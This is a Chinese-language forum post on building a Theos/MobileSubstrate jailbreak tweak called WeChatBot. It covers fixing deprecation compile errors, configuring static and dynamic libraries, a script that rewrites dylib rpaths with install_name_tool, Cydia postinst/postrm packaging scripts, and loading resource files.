Tweak.xmi:8:4: error: 'UIAlertView' is deprecated: first deprecated in iOS 9.0 - UIAlertView is deprecated. Use UIAlertController with a preferredStyle
      of UIAlertControllerStyleAlert instead [-Werror,-Wdeprecated-declarations]
   UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Works for hook" message:__null delegate:__null cancelButtonTitle:@"cancel" otherBu...
   ^
/opt/theos/sdks/iPhoneOS11.2.sdk/System/Library/Frameworks/UIKit.framework/Headers/UIAlertView.h:26:12: note: 'UIAlertView' has been explicitly marked
      deprecated here
@interface UIAlertView : UIView
           ^
Tweak.xmi:8:27: error: 'UIAlertView' is deprecated: first deprecated in iOS 9.0 - UIAlertView is deprecated. Use UIAlertController with a
      preferredStyle of UIAlertControllerStyleAlert instead [-Werror,-Wdeprecated-declarations]
   UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Works for hook" message:__null delegate:__null cancelButtonTitle:@"cancel" otherBu...
                          ^
/opt/theos/sdks/iPhoneOS11.2.sdk/System/Library/Frameworks/UIKit.framework/Headers/UIAlertView.h:26:12: note: 'UIAlertView' has been explicitly marked
      deprecated here
@interface UIAlertView : UIView
           ^
2 errors generated.
make[3]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/arm64/Tweak.xmi.6c3ff448.o] Error 1
make[2]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/arm64/WeChatBot.dylib] Error 2
make[1]: *** [internal-library-all_] Error 2
make: *** [WeChatBot.all.tweak.variables] Error 2

解决办法:

  1. 将Makefile里面的版本号降低:TARGET = iphone:11.2:7.0
  2. Makefile里面设置忽略方法过期警告:
#忽略OC警告
WeChatBot_OBJCFLAGS +=  -Wno-deprecated-declarations

项目中动态和静态库的配置

系统库

#导入系统的frameworks
WeChatBot_FRAMEWORKS = Foundation UIKit

#导入系统库
WeChatBot_LIBRARIES = stdc++ c++

配置第三库

#导入第三方Frameworks, 动态库需特殊处理
WeChatBot_LDFLAGS += -F./Libraries/dynamic -F./Libraries/static   # 识别的库实现
WeChatBot_CFLAGS  += -F./Libraries/dynamic -F./Libraries/static   # 头文件识别
WeChatBot_FRAMEWORKS += WCBFWStatic WCBFWDynamic

#导入第三方lib
WeChatBot_LDFLAGS += -L./Libraries/dynamic -L./Libraries/static 	# 识别的库实现
WeChatBot_CFLAGS  += -I./Libraries/include  						# 头文件识别
WeChatBot_LIBRARIES += WCBStatic WCBDyLib 

对应的本地文件夹说明

include 放置所有的.a和.dylib库的头文件
dynamic 放置所有的动态库的文件夹,动态库放一起,方便脚本处理
static 防止所有的静态库的文件夹

动态库问题

当我们把,动态库加入的项目中,我们发现运行我们的tweak插件,在宿主APP中不起作用,通过log提示信息为:

Apr 9 15:55:28 wz5 WeChat[5329] <Error>: MS:Error: dlopen(/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib, 9): Library not loaded: @rpath/WCBFWDynamic.framework/WCBFWDynamic
	  Referenced from: /Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib
	  Reason: image not found

该日志信息中可以看出,宿主在自己的bundle里面,没有加载到我们的动态库,所以导致我们整个插件的功能不生效

查看生成的动态库:

➜  WeChatBot git:(master) ✗ otool -L .theos/_/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib
.theos/_/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib:
	/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib (compatibility version 0.0.0, current version 0.0.0)
	/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
	/System/Library/Frameworks/Foundation.framework/Foundation (compatibility version 300.0.0, current version 1450.14.0)
	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (compatibility version 150.0.0, current version 1450.14.0)
	/System/Library/Frameworks/UIKit.framework/UIKit (compatibility version 1.0.0, current version 3698.33.6)
	@rpath/WCBFWDynamic.framework/WCBFWDynamic (compatibility version 1.0.0, current version 1.0.0)
	/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
	@rpath/libWCBDyLib.dylib (compatibility version 0.0.0, current version 0.0.0)
	/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate (compatibility version 0.0.0, current version 0.0.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.0.0)

我们发现tweak项目的动态库,依赖都是rpath,是宿主的bundle路径,所以我们要更改这个路径

解决办法,通过脚本,更改动态库依赖路径:

TWEAK_NAME=WeChatBot
cydiaLibPath=/Library/MobileSubstrate/DynamicLibraries/$TWEAK_NAME
dylibPath=Libraries/dynamic
oriDylibPath=$dylibPath/ori
tweakLayoutPath=layout$cydiaLibPath
echo $tweakLayoutPath
if [[ ! -d $oriDylibPath ]]; then
	mkdir $oriDylibPath
fi

if [[ ! -d $tweakLayoutPath ]]; then
	mkdir $tweakLayoutPath
fi

checkDylibID() {
	path=$1
	libFullPath=$2
	ckLibId=$(otool -L $path | grep rpath)
	if [[ -n $ckLibId ]]; then
		cp -r $libFullPath $oriDylibPath
		ckLibId=${ckLibId%' ('*}
		ckLibId=${ckLibId#*/}
		install_name_tool -id $cydiaLibPath/$ckLibId $path
		otool -L $path
	fi
	cp -r $libFullPath $tweakLayoutPath
}

for file in $dylibPath/*; do
	if [[ $file =~ ".dylib" ]]; then
		checkDylibID $file $file
	elif [[ $file =~ ".framework" ]]; then
		name=${file##*/}
		name=${name%.*}
		checkDylibID $file/$name $file
	fi
done

在每次package之前,运行此脚本,打包完成后查看信息:

➜  WeChatBot git:(master) ✗ otool -L .theos/_/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib
.theos/_/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib:
	/Library/MobileSubstrate/DynamicLibraries/WeChatBot.dylib (compatibility version 0.0.0, current version 0.0.0)
	/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
	/System/Library/Frameworks/Foundation.framework/Foundation (compatibility version 300.0.0, current version 1450.14.0)
	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (compatibility version 150.0.0, current version 1450.14.0)
	/System/Library/Frameworks/UIKit.framework/UIKit (compatibility version 1.0.0, current version 3698.33.6)
	/Library/MobileSubstrate/DynamicLibraries/WeChatBot/WCBFWDynamic.framework/WCBFWDynamic (compatibility version 1.0.0, current version 1.0.0)
	/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
	/Library/MobileSubstrate/DynamicLibraries/WeChatBot/libWCBDyLib.dylib (compatibility version 0.0.0, current version 0.0.0)
	/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate (compatibility version 0.0.0, current version 0.0.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.0.0)

常用的编译命令配置

简化常用命令,提高日常开发效率

before-package::
	sh bin/check_dynamic_lib.sh  #动态库处理脚本
	cp ./bin/postinst .theos/_/DEBIAN/
	cp ./bin/postrm .theos/_/DEBIAN/
	chmod 755 .theos/_/DEBIAN/postinst
	chmod 755 .theos/_/DEBIAN/postrm
after-install::
	install.exec "killall -9 SpringBoard"
p::
	make package
c::
	make clean
i::
	make
	make p
	make install

常用的脚本说明

postinst 脚本是每次deb包安装之前执行的脚本
postrm 脚本是每次deb包安装完成后执行的脚本

注意:打包前需要修改这两个的执行权限

chmod 755 .theos/_/DEBIAN/postinst
chmod 755 .theos/_/DEBIAN/postrm

相关的脚本描述:http://iphonedevwiki.net/index.php/Packaging

应用场景:在Cydia中安装插件,并且显示返回按钮
postrm脚本 & 删除control的depend依赖:

#!/bin/bash
declare -a cydia
cydia=($CYDIA)
if [[ ${CYDIA+@} ]]; then
    eval "echo 'finish:open' >&${cydia[0]}"
else
    echo "uninstall wk completed!"
    echo ""
fi
killall -9 WeChat
exit 0

参数说明:

Acceptable parameters for finish
# return - normal behaviour (return to cydia)
# reopen - exit cydia
# restart - reload springboard
# reload - reload springboard
# reboot - reboot device

资源文件的导入

通过项目根目录中的layout目录,映射文件到手机设备当中,然后读取资源文件

#define kWCBImgSrcPath @"/Library/AppSupport/WeChatBot/imgs"

UIImage *img = [UIImage imageWithContentsOfFile:[NSString stringWithFormat:@"%@/wcb_icon.png", kWCBImgSrcPath]];
NSLog(@"[WeChatBot] img: %@", img);
UIImageView *imgView = [[UIImageView alloc] initWithImage:img];
[imgView sizeToFit];
imgView.center = CGPointMake(46, 60);
[self.window addSubview:imgView];

其他配置说明

Makefile

#用于编译的SDK和支持的ios最低版本
TARGET = iphone:11.2:9.0

#用于调试的设备地址
THEOS_DEVICE_IP = localhost
THEOS_DEVICE_PORT = 2222

# 打包命名不一样,正式包不会输出log等
DEBUG = 1

# 采用ARC内存管理
WeChatBot_CFLAGS = -fobjc-arc

#忽略OC警告,避免警告导致编译不过
WeChatBot_OBJCFLAGS +=  -Wno-deprecated-declarations -Wno-unused-variable

control

Package: cc.onezen.wechatbot  #报名
Name: WeChatBot
Depends: mobilesubstrate   #依赖库和依赖插件,如果需要插件在cydia安装后不重启springboard可以删掉,否则每次重新
Version: 0.0.1
Architecture: iphoneos-arm
Description: An awesome MobileSubstrate tweak!
Maintainer: wz
Author: wz
Section: Tweaks #cydia源中的分类
Icon: file:///Library/AppSupport/WeChatBot/imgs/wcb_icon.png #icon

项目

git 地址: https://github.com/onezens/WeChatBot

Posts: 2

Participants: 2

Read full topic

Viewing all 301 articles
Browse latest View live